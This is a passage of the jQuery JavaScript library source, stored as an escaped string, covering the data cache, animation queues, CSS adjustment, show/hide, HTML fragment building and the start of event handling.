);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn value;\n\t},\n\tset: function( owner, data, value ) {\n\t\tvar prop,\n\t\t\tcache = this.cache( owner );\n\n\t\t// Handle: [ owner, key, value ] args\n\t\t// Always use camelCase key (gh-2257)\n\t\tif ( typeof data === \"string\" ) {\n\t\t\tcache[ camelCase( data ) ] = value;\n\n\t\t// Handle: [ owner, { properties } ] args\n\t\t} else {\n\n\t\t\t// Copy the properties one-by-one to the cache object\n\t\t\tfor ( prop in data ) {\n\t\t\t\tcache[ camelCase( prop ) ] = data[ prop ];\n\t\t\t}\n\t\t}\n\t\treturn cache;\n\t},\n\tget: function( owner, key ) {\n\t\treturn key === undefined ?\n\t\t\tthis.cache( owner ) :\n\n\t\t\t// Always use camelCase key (gh-2257)\n\t\t\towner[ this.expando ] && owner[ this.expando ][ camelCase( key ) ];\n\t},\n\taccess: function( owner, key, value ) {\n\n\t\t// In cases where either:\n\t\t//\n\t\t//   1. No key was specified\n\t\t//   2. A string key was specified, but no value provided\n\t\t//\n\t\t// Take the \"read\" path and allow the get method to determine\n\t\t// which value to return, respectively either:\n\t\t//\n\t\t//   1. The entire cache object\n\t\t//   2. The data stored at the key\n\t\t//\n\t\tif ( key === undefined ||\n\t\t\t\t( ( key && typeof key === \"string\" ) && value === undefined ) ) {\n\n\t\t\treturn this.get( owner, key );\n\t\t}\n\n\t\t// When the key is not a string, or both a key and value\n\t\t// are specified, set or extend (existing objects) with either:\n\t\t//\n\t\t//   1. An object of properties\n\t\t//   2. A key and value\n\t\t//\n\t\tthis.set( owner, key, value );\n\n\t\t// Since the \"set\" path can have two possible entry points\n\t\t// return the expected data based on which path was taken[*]\n\t\treturn value !== undefined ? value : key;\n\t},\n\tremove: function( owner, key ) {\n\t\tvar i,\n\t\t\tcache = owner[ this.expando ];\n\n\t\tif ( cache === undefined ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( key !== undefined ) {\n\n\t\t\t// Support array or space separated string of keys\n\t\t\tif ( Array.isArray( key ) ) {\n\n\t\t\t\t// If key is an array of keys...\n\t\t\t\t// We always set camelCase keys, so remove that.\n\t\t\t\tkey = key.map( camelCase );\n\t\t\t} else {\n\t\t\t\tkey = camelCase( key );\n\n\t\t\t\t// If a key with the spaces exists, use it.\n\t\t\t\t// Otherwise, create an array by matching non-whitespace\n\t\t\t\tkey = key in cache ?\n\t\t\t\t\t[ key ] :\n\t\t\t\t\t( key.match( rnothtmlwhite ) || [] );\n\t\t\t}\n\n\t\t\ti = key.length;\n\n\t\t\twhile ( i-- ) {\n\t\t\t\tdelete cache[ key[ i ] ];\n\t\t\t}\n\t\t}\n\n\t\t// Remove the expando if there's no more data\n\t\tif ( key === undefined || jQuery.isEmptyObject( cache ) ) {\n\n\t\t\t// Support: Chrome <=35 - 45\n\t\t\t// Webkit & Blink performance suffers when deleting properties\n\t\t\t// from DOM nodes, so set to undefined instead\n\t\t\t// https://bugs.chromium.org/p/chromium/issues/detail?id=378607 (bug restricted)\n\t\t\tif ( owner.nodeType ) {\n\t\t\t\towner[ this.expando ] = undefined;\n\t\t\t} else {\n\t\t\t\tdelete owner[ this.expando ];\n\t\t\t}\n\t\t}\n\t},\n\thasData: function( owner ) {\n\t\tvar cache = owner[ this.expando ];\n\t\treturn cache !== undefined && !jQuery.isEmptyObject( cache );\n\t}\n};\nvar dataPriv = new Data();\n\nvar dataUser = new Data();\n\n\n\n//\tImplementation Summary\n//\n//\t1. Enforce API surface and semantic compatibility with 1.9.x branch\n//\t2. Improve the module's maintainability by reducing the storage\n//\t\tpaths to a single mechanism.\n//\t3. Use the same single mechanism to support \"private\" and \"user\" data.\n//\t4. _Never_ expose \"private\" data to user code (TODO: Drop _data, _removeData)\n//\t5. Avoid exposing implementation details on user objects (eg. expando properties)\n//\t6. Provide a clear path for implementation upgrade to WeakMap in 2014\n\nvar rbrace = /^(?:\\{[\\w\\W]*\\}|\\[[\\w\\W]*\\])$/,\n\trmultiDash = /[A-Z]/g;\n\nfunction getData( data ) {\n\tif ( data === \"true\" ) {\n\t\treturn true;\n\t}\n\n\tif ( data === \"false\" ) {\n\t\treturn false;\n\t}\n\n\tif ( data === \"null\" ) {\n\t\treturn null;\n\t}\n\n\t// Only convert to a number if it doesn't change the string\n\tif ( data === +data + \"\" ) {\n\t\treturn +data;\n\t}\n\n\tif ( rbrace.test( data ) ) {\n\t\treturn JSON.parse( data );\n\t}\n\n\treturn data;\n}\n\nfunction dataAttr( elem, key, data ) {\n\tvar name;\n\n\t// If nothing was found internally, try to fetch any\n\t// data from the HTML5 data-* attribute\n\tif ( data === undefined && elem.nodeType === 1 ) {\n\t\tname = \"data-\" + key.replace( rmultiDash, \"-$&\" ).toLowerCase();\n\t\tdata = elem.getAttribute( name );\n\n\t\tif ( typeof data === \"string\" ) {\n\t\t\ttry {\n\t\t\t\tdata = getData( data );\n\t\t\t} catch ( e ) {}\n\n\t\t\t// Make sure we set the data so it isn't changed later\n\t\t\tdataUser.set( elem, key, data );\n\t\t} else {\n\t\t\tdata = undefined;\n\t\t}\n\t}\n\treturn data;\n}\n\njQuery.extend( {\n\thasData: function( elem ) {\n\t\treturn dataUser.hasData( elem ) || dataPriv.hasData( elem );\n\t},\n\n\tdata: function( elem, name, data ) {\n\t\treturn dataUser.access( elem, name, data );\n\t},\n\n\tremoveData: function( elem, name ) {\n\t\tdataUser.remove( elem, name );\n\t},\n\n\t// TODO: Now that all calls to _data and _removeData have been replaced\n\t// with direct calls to dataPriv methods, these can be deprecated.\n\t_data: function( elem, name, data ) {\n\t\treturn dataPriv.access( elem, name, data );\n\t},\n\n\t_removeData: function( elem, name ) {\n\t\tdataPriv.remove( elem, name );\n\t}\n} );\n\njQuery.fn.extend( {\n\tdata: function( key, value ) {\n\t\tvar i, name, data,\n\t\t\telem = this[ 0 ],\n\t\t\tattrs = elem && elem.attributes;\n\n\t\t// Gets all values\n\t\tif ( key === undefined ) {\n\t\t\tif ( this.length ) {\n\t\t\t\tdata = dataUser.get( elem );\n\n\t\t\t\tif ( elem.nodeType === 1 && !dataPriv.get( elem, \"hasDataAttrs\" ) ) {\n\t\t\t\t\ti = attrs.length;\n\t\t\t\t\twhile ( i-- ) {\n\n\t\t\t\t\t\t// Support: IE 11 only\n\t\t\t\t\t\t// The attrs elements can be null (#14894)\n\t\t\t\t\t\tif ( attrs[ i ] ) {\n\t\t\t\t\t\t\tname = attrs[ i ].name;\n\t\t\t\t\t\t\tif ( name.indexOf( \"data-\" ) === 0 ) {\n\t\t\t\t\t\t\t\tname = camelCase( name.slice( 5 ) );\n\t\t\t\t\t\t\t\tdataAttr( elem, name, data[ name ] );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tdataPriv.set( elem, \"hasDataAttrs\", true );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn data;\n\t\t}\n\n\t\t// Sets multiple values\n\t\tif ( typeof key === \"object\" ) {\n\t\t\treturn this.each( function() {\n\t\t\t\tdataUser.set( this, key );\n\t\t\t} );\n\t\t}\n\n\t\treturn access( this, function( value ) {\n\t\t\tvar data;\n\n\t\t\t// The calling jQuery object (element matches) is not empty\n\t\t\t// (and therefore has an element appears at this[ 0 ]) and the\n\t\t\t// `value` parameter was not undefined. An empty jQuery object\n\t\t\t// will result in `undefined` for elem = this[ 0 ] which will\n\t\t\t// throw an exception if an attempt to read a data cache is made.\n\t\t\tif ( elem && value === undefined ) {\n\n\t\t\t\t// Attempt to get data from the cache\n\t\t\t\t// The key will always be camelCased in Data\n\t\t\t\tdata = dataUser.get( elem, key );\n\t\t\t\tif ( data !== undefined ) {\n\t\t\t\t\treturn data;\n\t\t\t\t}\n\n\t\t\t\t// Attempt to \"discover\" the data in\n\t\t\t\t// HTML5 custom data-* attrs\n\t\t\t\tdata = dataAttr( elem, key );\n\t\t\t\tif ( data !== undefined ) {\n\t\t\t\t\treturn data;\n\t\t\t\t}\n\n\t\t\t\t// We tried really hard, but the data doesn't exist.\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Set the data...\n\t\t\tthis.each( function() {\n\n\t\t\t\t// We always store the camelCased key\n\t\t\t\tdataUser.set( this, key, value );\n\t\t\t} );\n\t\t}, null, value, arguments.length > 1, null, true );\n\t},\n\n\tremoveData: function( key ) {\n\t\treturn this.each( function() {\n\t\t\tdataUser.remove( this, key );\n\t\t} );\n\t}\n} );\n\n\njQuery.extend( {\n\tqueue: function( elem, type, data ) {\n\t\tvar queue;\n\n\t\tif ( elem ) {\n\t\t\ttype = ( type || \"fx\" ) + \"queue\";\n\t\t\tqueue = dataPriv.get( elem, type );\n\n\t\t\t// Speed up dequeue by getting out quickly if this is just a lookup\n\t\t\tif ( data ) {\n\t\t\t\tif ( !queue || Array.isArray( data ) ) {\n\t\t\t\t\tqueue = dataPriv.access( elem, type, jQuery.makeArray( data ) );\n\t\t\t\t} else {\n\t\t\t\t\tqueue.push( data );\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn queue || [];\n\t\t}\n\t},\n\n\tdequeue: function( elem, type ) {\n\t\ttype = type || \"fx\";\n\n\t\tvar queue = jQuery.queue( elem, type ),\n\t\t\tstartLength = queue.length,\n\t\t\tfn = queue.shift(),\n\t\t\thooks = jQuery._queueHooks( elem, type ),\n\t\t\tnext = function() {\n\t\t\t\tjQuery.dequeue( elem, type );\n\t\t\t};\n\n\t\t// If the fx queue is dequeued, always remove the progress sentinel\n\t\tif ( fn === \"inprogress\" ) {\n\t\t\tfn = queue.shift();\n\t\t\tstartLength--;\n\t\t}\n\n\t\tif ( fn ) {\n\n\t\t\t// Add a progress sentinel to prevent the fx queue from being\n\t\t\t// automatically dequeued\n\t\t\tif ( type === \"fx\" ) {\n\t\t\t\tqueue.unshift( \"inprogress\" );\n\t\t\t}\n\n\t\t\t// Clear up the last queue stop function\n\t\t\tdelete hooks.stop;\n\t\t\tfn.call( elem, next, hooks );\n\t\t}\n\n\t\tif ( !startLength && hooks ) {\n\t\t\thooks.empty.fire();\n\t\t}\n\t},\n\n\t// Not public - generate a queueHooks object, or return the current one\n\t_queueHooks: function( elem, type ) {\n\t\tvar key = type + \"queueHooks\";\n\t\treturn dataPriv.get( elem, key ) || dataPriv.access( elem, key, {\n\t\t\tempty: jQuery.Callbacks( \"once memory\" ).add( function() {\n\t\t\t\tdataPriv.remove( elem, [ type + \"queue\", key ] );\n\t\t\t} )\n\t\t} );\n\t}\n} );\n\njQuery.fn.extend( {\n\tqueue: function( type, data ) {\n\t\tvar setter = 2;\n\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tdata = type;\n\t\t\ttype = \"fx\";\n\t\t\tsetter--;\n\t\t}\n\n\t\tif ( arguments.length < setter ) {\n\t\t\treturn jQuery.queue( this[ 0 ], type );\n\t\t}\n\n\t\treturn data === undefined ?\n\t\t\tthis :\n\t\t\tthis.each( function() {\n\t\t\t\tvar queue = jQuery.queue( this, type, data );\n\n\t\t\t\t// Ensure a hooks for this queue\n\t\t\t\tjQuery._queueHooks( this, type );\n\n\t\t\t\tif ( type === \"fx\" && queue[ 0 ] !== \"inprogress\" ) {\n\t\t\t\t\tjQuery.dequeue( this, type );\n\t\t\t\t}\n\t\t\t} );\n\t},\n\tdequeue: function( type ) {\n\t\treturn this.each( function() {\n\t\t\tjQuery.dequeue( this, type );\n\t\t} );\n\t},\n\tclearQueue: function( type ) {\n\t\treturn this.queue( type || \"fx\", [] );\n\t},\n\n\t// Get a promise resolved when queues of a certain type\n\t// are emptied (fx is the type by default)\n\tpromise: function( type, obj ) {\n\t\tvar tmp,\n\t\t\tcount = 1,\n\t\t\tdefer = jQuery.Deferred(),\n\t\t\telements = this,\n\t\t\ti = this.length,\n\t\t\tresolve = function() {\n\t\t\t\tif ( !( --count ) ) {\n\t\t\t\t\tdefer.resolveWith( elements, [ elements ] );\n\t\t\t\t}\n\t\t\t};\n\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tobj = type;\n\t\t\ttype = undefined;\n\t\t}\n\t\ttype = type || \"fx\";\n\n\t\twhile ( i-- ) {\n\t\t\ttmp = dataPriv.get( elements[ i ], type + \"queueHooks\" );\n\t\t\tif ( tmp && tmp.empty ) {\n\t\t\t\tcount++;\n\t\t\t\ttmp.empty.add( resolve );\n\t\t\t}\n\t\t}\n\t\tresolve();\n\t\treturn defer.promise( obj );\n\t}\n} );\nvar pnum = ( /[+-]?(?:\\d*\\.|)\\d+(?:[eE][+-]?\\d+|)/ ).source;\n\nvar rcssNum = new RegExp( \"^(?:([+-])=|)(\" + pnum + \")([a-z%]*)$\", \"i\" );\n\n\nvar cssExpand = [ \"Top\", \"Right\", \"Bottom\", \"Left\" ];\n\nvar documentElement = document.documentElement;\n\n\n\n\tvar isAttached = function( elem ) {\n\t\t\treturn jQuery.contains( elem.ownerDocument, elem );\n\t\t},\n\t\tcomposed = { composed: true };\n\n\t// Support: IE 9 - 11+, Edge 12 - 18+, iOS 10.0 - 10.2 only\n\t// Check attachment across shadow DOM boundaries when possible (gh-3504)\n\t// Support: iOS 10.0-10.2 only\n\t// Early iOS 10 versions support `attachShadow` but not `getRootNode`,\n\t// leading to errors. We need to check for `getRootNode`.\n\tif ( documentElement.getRootNode ) {\n\t\tisAttached = function( elem ) {\n\t\t\treturn jQuery.contains( elem.ownerDocument, elem ) ||\n\t\t\t\telem.getRootNode( composed ) === elem.ownerDocument;\n\t\t};\n\t}\nvar isHiddenWithinTree = function( elem, el ) {\n\n\t\t// isHiddenWithinTree might be called from jQuery#filter function;\n\t\t// in that case, element will be second argument\n\t\telem = el || elem;\n\n\t\t// Inline style trumps all\n\t\treturn elem.style.display === \"none\" ||\n\t\t\telem.style.display === \"\" &&\n\n\t\t\t// Otherwise, check computed style\n\t\t\t// Support: Firefox <=43 - 45\n\t\t\t// Disconnected elements can have computed display: none, so first confirm that elem is\n\t\t\t// in the document.\n\t\t\tisAttached( elem ) &&\n\n\t\t\tjQuery.css( elem, \"display\" ) === \"none\";\n\t};\n\nvar swap = function( elem, options, callback, args ) {\n\tvar ret, name,\n\t\told = {};\n\n\t// Remember the old values, and insert the new ones\n\tfor ( name in options ) {\n\t\told[ name ] = elem.style[ name ];\n\t\telem.style[ name ] = options[ name ];\n\t}\n\n\tret = callback.apply( elem, args || [] );\n\n\t// Revert the old values\n\tfor ( name in options ) {\n\t\telem.style[ name ] = old[ name ];\n\t}\n\n\treturn ret;\n};\n\n\n\n\nfunction adjustCSS( elem, prop, valueParts, tween ) {\n\tvar adjusted, scale,\n\t\tmaxIterations = 20,\n\t\tcurrentValue = tween ?\n\t\t\tfunction() {\n\t\t\t\treturn tween.cur();\n\t\t\t} :\n\t\t\tfunction() {\n\t\t\t\treturn jQuery.css( elem, prop, \"\" );\n\t\t\t},\n\t\tinitial = currentValue(),\n\t\tunit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? \"\" : \"px\" ),\n\n\t\t// Starting value computation is required for potential unit mismatches\n\t\tinitialInUnit = elem.nodeType &&\n\t\t\t( jQuery.cssNumber[ prop ] || unit !== \"px\" && +initial ) &&\n\t\t\trcssNum.exec( jQuery.css( elem, prop ) );\n\n\tif ( initialInUnit && initialInUnit[ 3 ] !== unit ) {\n\n\t\t// Support: Firefox <=54\n\t\t// Halve the iteration target value to prevent interference from CSS upper bounds (gh-2144)\n\t\tinitial = initial / 2;\n\n\t\t// Trust units reported by jQuery.css\n\t\tunit = unit || initialInUnit[ 3 ];\n\n\t\t// Iteratively approximate from a nonzero starting point\n\t\tinitialInUnit = +initial || 1;\n\n\t\twhile ( maxIterations-- ) {\n\n\t\t\t// Evaluate and update our best guess (doubling guesses that zero out).\n\t\t\t// Finish if the scale equals or crosses 1 (making the old*new product non-positive).\n\t\t\tjQuery.style( elem, prop, initialInUnit + unit );\n\t\t\tif ( ( 1 - scale ) * ( 1 - ( scale = currentValue() / initial || 0.5 ) ) <= 0 ) {\n\t\t\t\tmaxIterations = 0;\n\t\t\t}\n\t\t\tinitialInUnit = initialInUnit / scale;\n\n\t\t}\n\n\t\tinitialInUnit = initialInUnit * 2;\n\t\tjQuery.style( elem, prop, initialInUnit + unit );\n\n\t\t// Make sure we update the tween properties later on\n\t\tvalueParts = valueParts || [];\n\t}\n\n\tif ( valueParts ) {\n\t\tinitialInUnit = +initialInUnit || +initial || 0;\n\n\t\t// Apply relative offset (+=/-=) if specified\n\t\tadjusted = valueParts[ 1 ] ?\n\t\t\tinitialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] :\n\t\t\t+valueParts[ 2 ];\n\t\tif ( tween ) {\n\t\t\ttween.unit = unit;\n\t\t\ttween.start = initialInUnit;\n\t\t\ttween.end = adjusted;\n\t\t}\n\t}\n\treturn adjusted;\n}\n\n\nvar defaultDisplayMap = {};\n\nfunction getDefaultDisplay( elem ) {\n\tvar temp,\n\t\tdoc = elem.ownerDocument,\n\t\tnodeName = elem.nodeName,\n\t\tdisplay = defaultDisplayMap[ nodeName ];\n\n\tif ( display ) {\n\t\treturn display;\n\t}\n\n\ttemp = doc.body.appendChild( doc.createElement( nodeName ) );\n\tdisplay = jQuery.css( temp, \"display\" );\n\n\ttemp.parentNode.removeChild( temp );\n\n\tif ( display === \"none\" ) {\n\t\tdisplay = \"block\";\n\t}\n\tdefaultDisplayMap[ nodeName ] = display;\n\n\treturn display;\n}\n\nfunction showHide( elements, show ) {\n\tvar display, elem,\n\t\tvalues = [],\n\t\tindex = 0,\n\t\tlength = elements.length;\n\n\t// Determine new display value for elements that need to change\n\tfor ( ; index < length; index++ ) {\n\t\telem = elements[ index ];\n\t\tif ( !elem.style ) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tdisplay = elem.style.display;\n\t\tif ( show ) {\n\n\t\t\t// Since we force visibility upon cascade-hidden elements, an immediate (and slow)\n\t\t\t// check is required in this first loop unless we have a nonempty display value (either\n\t\t\t// inline or about-to-be-restored)\n\t\t\tif ( display === \"none\" ) {\n\t\t\t\tvalues[ index ] = dataPriv.get( elem, \"display\" ) || null;\n\t\t\t\tif ( !values[ index ] ) {\n\t\t\t\t\telem.style.display = \"\";\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ( elem.style.display === \"\" && isHiddenWithinTree( elem ) ) {\n\t\t\t\tvalues[ index ] = getDefaultDisplay( elem );\n\t\t\t}\n\t\t} else {\n\t\t\tif ( display !== \"none\" ) {\n\t\t\t\tvalues[ index ] = \"none\";\n\n\t\t\t\t// Remember what we're overwriting\n\t\t\t\tdataPriv.set( elem, \"display\", display );\n\t\t\t}\n\t\t}\n\t}\n\n\t// Set the display of the elements in a second loop to avoid constant reflow\n\tfor ( index = 0; index < length; index++ ) {\n\t\tif ( values[ index ] != null ) {\n\t\t\telements[ index ].style.display = values[ index ];\n\t\t}\n\t}\n\n\treturn elements;\n}\n\njQuery.fn.extend( {\n\tshow: function() {\n\t\treturn showHide( this, true );\n\t},\n\thide: function() {\n\t\treturn showHide( this );\n\t},\n\ttoggle: function( state ) {\n\t\tif ( typeof state === \"boolean\" ) {\n\t\t\treturn state ? this.show() : this.hide();\n\t\t}\n\n\t\treturn this.each( function() {\n\t\t\tif ( isHiddenWithinTree( this ) ) {\n\t\t\t\tjQuery( this ).show();\n\t\t\t} else {\n\t\t\t\tjQuery( this ).hide();\n\t\t\t}\n\t\t} );\n\t}\n} );\nvar rcheckableType = ( /^(?:checkbox|radio)$/i );\n\nvar rtagName = ( /<([a-z][^\\/\\0>\\x20\\t\\r\\n\\f]*)/i );\n\nvar rscriptType = ( /^$|^module$|\\/(?:java|ecma)script/i );\n\n\n\n// We have to close these tags to support XHTML (#13200)\nvar wrapMap = {\n\n\t// Support: IE <=9 only\n\toption: [ 1, \"<select multiple='multiple'>\", \"</select>\" ],\n\n\t// XHTML parsers do not magically insert elements in the\n\t// same way that tag soup parsers do. So we cannot shorten\n\t// this by omitting <tbody> or other required elements.\n\tthead: [ 1, \"<table>\", \"</table>\" ],\n\tcol: [ 2, \"<table><colgroup>\", \"</colgroup></table>\" ],\n\ttr: [ 2, \"<table><tbody>\", \"</tbody></table>\" ],\n\ttd: [ 3, \"<table><tbody><tr>\", \"</tr></tbody></table>\" ],\n\n\t_default: [ 0, \"\", \"\" ]\n};\n\n// Support: IE <=9 only\nwrapMap.optgroup = wrapMap.option;\n\nwrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;\nwrapMap.th = wrapMap.td;\n\n\nfunction getAll( context, tag ) {\n\n\t// Support: IE <=9 - 11 only\n\t// Use typeof to avoid zero-argument method invocation on host objects (#15151)\n\tvar ret;\n\n\tif ( typeof context.getElementsByTagName !== \"undefined\" ) {\n\t\tret = context.getElementsByTagName( tag || \"*\" );\n\n\t} else if ( typeof context.querySelectorAll !== \"undefined\" ) {\n\t\tret = context.querySelectorAll( tag || \"*\" );\n\n\t} else {\n\t\tret = [];\n\t}\n\n\tif ( tag === undefined || tag && nodeName( context, tag ) ) {\n\t\treturn jQuery.merge( [ context ], ret );\n\t}\n\n\treturn ret;\n}\n\n\n// Mark scripts as having already been evaluated\nfunction setGlobalEval( elems, refElements ) {\n\tvar i = 0,\n\t\tl = elems.length;\n\n\tfor ( ; i < l; i++ ) {\n\t\tdataPriv.set(\n\t\t\telems[ i ],\n\t\t\t\"globalEval\",\n\t\t\t!refElements || dataPriv.get( refElements[ i ], \"globalEval\" )\n\t\t);\n\t}\n}\n\n\nvar rhtml = /<|&#?\\w+;/;\n\nfunction buildFragment( elems, context, scripts, selection, ignored ) {\n\tvar elem, tmp, tag, wrap, attached, j,\n\t\tfragment = context.createDocumentFragment(),\n\t\tnodes = [],\n\t\ti = 0,\n\t\tl = elems.length;\n\n\tfor ( ; i < l; i++ ) {\n\t\telem = elems[ i ];\n\n\t\tif ( elem || elem === 0 ) {\n\n\t\t\t// Add nodes directly\n\t\t\tif ( toType( elem ) === \"object\" ) {\n\n\t\t\t\t// Support: Android <=4.0 only, PhantomJS 1 only\n\t\t\t\t// push.apply(_, arraylike) throws on ancient WebKit\n\t\t\t\tjQuery.merge( nodes, elem.nodeType ? [ elem ] : elem );\n\n\t\t\t// Convert non-html into a text node\n\t\t\t} else if ( !rhtml.test( elem ) ) {\n\t\t\t\tnodes.push( context.createTextNode( elem ) );\n\n\t\t\t// Convert html into DOM nodes\n\t\t\t} else {\n\t\t\t\ttmp = tmp || fragment.appendChild( context.createElement( \"div\" ) );\n\n\t\t\t\t// Deserialize a standard representation\n\t\t\t\ttag = ( rtagName.exec( elem ) || [ \"\", \"\" ] )[ 1 ].toLowerCase();\n\t\t\t\twrap = wrapMap[ tag ] || wrapMap._default;\n\t\t\t\ttmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];\n\n\t\t\t\t// Descend through wrappers to the right content\n\t\t\t\tj = wrap[ 0 ];\n\t\t\t\twhile ( j-- ) {\n\t\t\t\t\ttmp = tmp.lastChild;\n\t\t\t\t}\n\n\t\t\t\t// Support: Android <=4.0 only, PhantomJS 1 only\n\t\t\t\t// push.apply(_, arraylike) throws on ancient WebKit\n\t\t\t\tjQuery.merge( nodes, tmp.childNodes );\n\n\t\t\t\t// Remember the top-level container\n\t\t\t\ttmp = fragment.firstChild;\n\n\t\t\t\t// Ensure the created nodes are orphaned (#12392)\n\t\t\t\ttmp.textContent = \"\";\n\t\t\t}\n\t\t}\n\t}\n\n\t// Remove wrapper from fragment\n\tfragment.textContent = \"\";\n\n\ti = 0;\n\twhile ( ( elem = nodes[ i++ ] ) ) {\n\n\t\t// Skip elements already in the context collection (trac-4087)\n\t\tif ( selection && jQuery.inArray( elem, selection ) > -1 ) {\n\t\t\tif ( ignored ) {\n\t\t\t\tignored.push( elem );\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tattached = isAttached( elem );\n\n\t\t// Append to fragment\n\t\ttmp = getAll( fragment.appendChild( elem ), \"script\" );\n\n\t\t// Preserve script evaluation history\n\t\tif ( attached ) {\n\t\t\tsetGlobalEval( tmp );\n\t\t}\n\n\t\t// Capture executables\n\t\tif ( scripts ) {\n\t\t\tj = 0;\n\t\t\twhile ( ( elem = tmp[ j++ ] ) ) {\n\t\t\t\tif ( rscriptType.test( elem.type || \"\" ) ) {\n\t\t\t\t\tscripts.push( elem );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn fragment;\n}\n\n\n( function() {\n\tvar fragment = document.createDocumentFragment(),\n\t\tdiv = fragment.appendChild( document.createElement( \"div\" ) ),\n\t\tinput = document.createElement( \"input\" );\n\n\t// Support: Android 4.0 - 4.3 only\n\t// Check state lost if the name is set (#11217)\n\t// Support: Windows Web Apps (WWA)\n\t// `name` and `type` must use .setAttribute for WWA (#14901)\n\tinput.setAttribute( \"type\", \"radio\" );\n\tinput.setAttribute( \"checked\", \"checked\" );\n\tinput.setAttribute( \"name\", \"t\" );\n\n\tdiv.appendChild( input );\n\n\t// Support: Android <=4.1 only\n\t// Older WebKit doesn't clone checked state correctly in fragments\n\tsupport.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked;\n\n\t// Support: IE <=11 only\n\t// Make sure textarea (and checkbox) defaultValue is properly cloned\n\tdiv.innerHTML = \"<textarea>x</textarea>\";\n\tsupport.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue;\n} )();\n\n\nvar\n\trkeyEvent = /^key/,\n\trmouseEvent = /^(?:mouse|pointer|contextmenu|drag|drop)|click/,\n\trtypenamespace = /^([^.]*)(?:\\.(.+)|)/;\n\nfunction returnTrue() {\n\treturn true;\n}\n\nfunction returnFalse() {\n\treturn false;\n}\n\n// Support: IE <=9 - 11+\n// focus() and blur() are asynchronous, except when they are no-op.\n// So expect focus to be synchronous when the element is already active,\n// and blur to be synchronous when the element is not already active.\n// (focus and blur are always synchronous in other supported browsers,\n// this just defines when we can count on it).\nfunction expectSync( elem, type ) {\n\treturn ( elem === safeActiveElement() ) === ( type === \"focus\" );\n}\n\n// Support: IE <=9 only\n// Accessing document.activeElement can throw unexpectedly\n// https://bugs.jquery.com/ticket/13393\nfunction safeActiveElement() {\n\ttry {\n\t\treturn document.activeElement;\n\t} catch ( err ) { }\n}\n\nfunction on( elem, types, selector, data, fn, one ) {\n\tvar origFn, type;\n\n\t// Types can be a map of types/handlers\n\tif ( typeof types === \"object\" ) {\n\n\t\t// ( types-Object, selector, data )\n\t\tif ( typeof selector !== \"string\" ) {\n\n\t\t\t// ( types-Object, data )\n\t\t\tdata = data || selector;\n\t\t\tselector = undefined;\n\t\t}\n\t\tfor ( type in types ) {\n\t\t\ton( elem, type, selector, data, types[ type ], one );\n\t\t}\n\t\treturn elem;\n\t}\n\n\tif ( data == null && fn == null ) {\n\n\t\t// ( types, fn )\n\t\tfn = selector;\n\t\tdata = selector = undefined;\n\t} else if ( fn == null ) {\n\t\tif ( typeof selector === \"string\" ) {\n\n\t\t\t// ( types, selector, fn )\n\t\t\tfn = data;\n\t\t\tdata = undefined;\n\t\t} else {\n\n\t\t\t// ( types, data, fn )\n\t\t\tfn = data;\n\t\t\tdata = selector;\n\t\t\tselector = undefined;\n\t\t}\n\t}\n\tif ( fn === false ) {\n\t\tfn = returnFalse;\n\t} else if ( !fn ) {\n\t\treturn elem;\n\t}\n\n\tif ( one === 1 ) {\n\t\torigFn = fn;\n\t\tfn = function( event ) {\n\n\t\t\t// Can use an empty set, since event contains the info\n\t\t\tjQuery().off( event );\n\t\t\treturn origFn.apply( this, arguments );\n\t\t};\n\n\t\t// Use same guid so caller can remove using origFn\n\t\tfn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );\n\t}\n\treturn elem.each( function() {\n\t\tjQuery.event.add( this, types, fn, data, selector );\n\t} );\n}\n\n/*\n * Helper functions for managing events -- not part of the public interface.\n * Props to Dean Edwards' addEvent library for many of the ideas.\n */\njQuery.event = {\n\n\tglobal: {},\n\n\tadd: function( elem, types, handler, data, selector ) {\n\n\t\tvar handleObjIn, eventHandle, tmp,\n\t\t\tevents, t, handleObj,\n\t\t\tspecial, handlers, type, namespaces, origType,\n\t\t\telemData = dataPriv.get( elem );\n\n\t\t// Don't attach events to noData or text/comment nodes (but allow plain objects)\n\t\tif ( !elemData ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Caller can pass in an object of custom data in lieu of the handler\n\t\tif ( handler.handler ) {\n\t\t\thandleObjIn = handler;\n\t\t\thandler = handleObjIn.handler;\n\t\t\tselector = handleObjIn.selector;\n\t\t}\n\n\t\t// Ensure that invalid selectors throw exceptions at attach time\n\t\t// Evaluate against documentElement in case elem is a non-element node (e.g., document)\n\t\tif ( selector ) {\n\t\t\tjQuery.find.matchesSelector( documentElement, selector );\n\t\t}\n\n\t\t// Make sure that the handler has a unique ID, used to find/remove it later\n\t\tif ( !handler.guid ) {\n\t\t\thandler.guid = jQuery.guid++;\n\t\t}\n\n\t\t// Init the element's event structure and main handler, if this is the first\n\t\tif ( !( events = elemData.events ) ) {\n\t\t\tevents = elemData.events = {};\n\t\t}\n\t\tif ( !( eventHandle = elemData.handle ) ) {\n\t\t\teventHandle = elemData.handle = function( e ) {\n\n\t\t\t\t// Discard the second event of a jQuery.event.trigger() and\n\t\t\t\t// when an event is called after a page has unloaded\n\t\t\t\treturn typeof jQuery !== \"undefined\" && jQuery.event.triggered !== e.type ?\n\t\t\t\t\tjQuery.event.dispatch.apply( elem, arguments ) : undefined;\n\t\t\t};\n\t\t}\n\n\t\t// Handle multiple events separated by a space\n\t\ttypes = ( types || \"\" ).match( rnothtmlwhite ) || [ \"\" ];\n\t\tt = types.length;\n\t\twhile ( t-- 